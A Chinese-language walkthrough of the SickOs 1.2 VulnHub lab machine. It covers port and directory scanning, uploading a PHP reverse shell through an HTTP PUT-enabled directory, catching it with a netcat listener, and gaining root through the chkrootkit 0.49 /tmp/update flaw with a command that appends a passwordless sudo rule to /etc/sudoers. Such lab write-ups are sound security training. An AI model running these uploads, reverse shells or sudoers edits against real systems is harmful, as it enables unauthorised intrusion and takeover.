当前位置: 首页 > article >正文

SickOs 1.2靶机(超详细教学)

靶机地址:https://www.vulnhub.com/entry/sickos-12,144/

一、主机发现

使用

arp-scan -l

查找靶机ip地址

靶机ip地址为192.168.55.146

攻击机的ip地址为192.168.55.129

二、进行端口扫描、目录枚举、指纹识别

1.端口扫描

nmap 192.168.55.146

发现靶机只有22和80端口

2.目录枚举

dirb http://192.168.55.146

3.指纹识别

常用命令:

nmap 192.168.55.146 -sV -sC -O --version-all

三、进入靶机网页进行信息收集

网页中没有功能点,没有其它的信息

四、反弹shell

我们回到刚刚的目录扫描中发现页面中有一个敏感目录:

http://192.168.55.146/test/

访问此url发现这是一个目录列表,还有一个版本信息

搜了一下lighttpd的漏洞,发现没有什么能够利用的

补充知识:

curl(Client URL)是一个用于传输数据的工具,它支持多种协议,包括 HTTP、HTTPS、FTP、FTPS、SCP、SFTP、TFTP、DICT、TELNET、LDAP 等。其主要用途是通过指定的协议从服务器上获取数据或向服务器发送数据,而不需要用户手动进行复杂的网络交互操作。

这里使用curl检查目录test上可用的HTTP方法

curl -v -X OPTIONS http://192.168.55.146/test

命令解释:
-v:即 --verbose,表示开启详细模式。使用该选项后,curl 会输出更多关于请求和响应的详细信息,包括请求头、响应头、传输过程等,有助于调试和了解请求的具体情况。
-X OPTIONS:-X 选项用于指定 HTTP 请求方法,这里指定的方法是 OPTIONS。OPTIONS 是一种 HTTP 请求方法,客户端使用它可以向服务器询问针对特定资源所支持的请求方法,或者服务器的一些通用功能。简单来说,客户端可以通过发送 OPTIONS 请求来了解服务器对于某个资源可以接受哪些操作(如 GET、POST、PUT 等)。

当执行这个命令后,终端会输出详细的请求和响应信息

此处发现可以使用PUT上传文件

首先打开/usr/share/webshells/php/php-reverse-shell.php文件,这个是一个反弹shell的php文件,将其中的ip改为自己的攻击机ip,端口设置为443端口(8888之类的端口不能反弹,可能是防火墙不允许这种非常用端口)

进行文件上传:

curl --upload-file php-reverse-shell.php -v --url http://192.168.55.146/test/a.php -0 --http1.0

此命令是将桌面上的反弹shell的文件上传到网站中并命名为a.php

在桌面中再开一个终端进行443端口的监听

nc -lvvp 443

开启监听后在网页中访问a.php文件

反弹shell成功

五、提权

使用命令开启交互式终端,可以看到回显信息:

python -c 'import pty; pty.spawn("/bin/bash")'

进行信息收集:

lsb_release -a

补充知识:

linux 系统则是由 cron (crond) 这个系统服务来控制的。Linux系统上面原本就有非常多的计划性工作,因此这个系统服务是默认启动的。另外, 由于使用者自己也可以设置计划任务,所以, Linux系统也提供了使用者控制计划任务的命令 :crontab 命令。

基于此我们可以查看计划任务:

ls -l /etc/cron*

chkrootkit 是一款在类 Unix 系统(包括 Kali Linux)中广泛使用的开源工具,主要用于检测系统是否被植入了 Rootkit

查看此工具的版本,并检查是否有漏洞

查看到是0.49版本

发现存在漏洞

将exp拷贝到桌面

根据漏洞可知,靶机中的文件 /tmp/update 将以 root 身份执行

进入tmp目录后发现没有update目录,我们创建一个update文件,然后在其中插入提权语句

echo 'chmod 777 /etc/sudoers && echo "www-data ALL=NOPASSWD: ALL" >> /etc/sudoers && chmod 440 /etc/sudoers' > /tmp/update

命令解释:
chmod 777 /etc/sudoers:
chmod 是用于修改文件权限的命令。
777 表示赋予文件所有者、所属组和其他用户读、写、执行的所有权限。
/etc/sudoers 文件默认权限通常为 440,仅允许 root 用户读写,此步骤是为了后续能够向该文件写入内容。

echo "www-data ALL=NOPASSWD: ALL" >> /etc/sudoers:
echo 用于输出字符串。
"www-data ALL=NOPASSWD: ALL" 是 sudoers 文件的一条规则,意味着 www-data 用户在使用 sudo 执行命令时无需输入密码。
>> 是追加重定向符号,将 echo 输出的内容追加到 /etc/sudoers 文件的末尾。

chmod 440 /etc/sudoers:
恢复 /etc/sudoers 文件的原始权限,即文件所有者和所属组有读权限,其他用户没有任何权限。这是为了保证文件的安全性,防止非授权用户对其进行修改。

继续执行:

chmod 777 /tmp/update
ls -la /etc/sudoers

可以执行两次ls -la /etc/sudoers命令,两次命令中间需要间隔2分钟左右,文件大小改变后说明文件执行,我们也就获得了root权限

文件大小改变后输入以下命令即可:

sudo -l
sudo su

提权成功!


http://www.kler.cn/a/540027.html

相关文章:

  • 81页精品PPT | 华为流程与信息化实践与架构规划分享
  • PostgreSQL 18新特性之DML语句RETURNING增强
  • Git(分布式版本控制系统)系统学习笔记【并利用腾讯云的CODING和Windows上的Git工具来实操】
  • 数据库高安全—审计追踪:传统审计统一审计
  • 集成学习(二):从理论到实战(附代码)
  • 【异常解决】在idea中提示 hutool 提示 HttpResponse used withoud try-with-resources statement
  • UnoCSS 自定义规则
  • 【机器学习】数据预处理之scikit-learn的Scaler与自定义Scaler类进行数据归一化
  • ProcessingP5js数据可视化
  • Chapter2:C#基本数据类型
  • Spring Boot 中的监视器是什么
  • Elasticsearch去分析目标服务器的日志,需要在目标服务器上面安装Elasticsearch 软件吗
  • Groovy语言的物联网
  • 项目部署问题
  • 【C/C++】每日温度 [ 栈的应用 ] 蓝桥杯/ACM备赛
  • SQL自学,mysql从入门到精通 --- 第 1 天,系统环境搭建,mysql部署
  • 小结:VLAN、STP、DHCP、ACL、NAT、PPP、边界路由等配置指令
  • 数据结构 day01
  • 老榕树的Java专题:Redis 从入门到实践
  • 代码笔记:ln创建链接
  • C++20导出模块及使用
  • Day.23
  • 字符设备驱动开发
  • 人工智能领域-CNN 卷积神经网络 性能调优
  • 使用Docker + Ollama在Ubuntu中部署deepseek
  • EXCEL数据解析与加密处理方法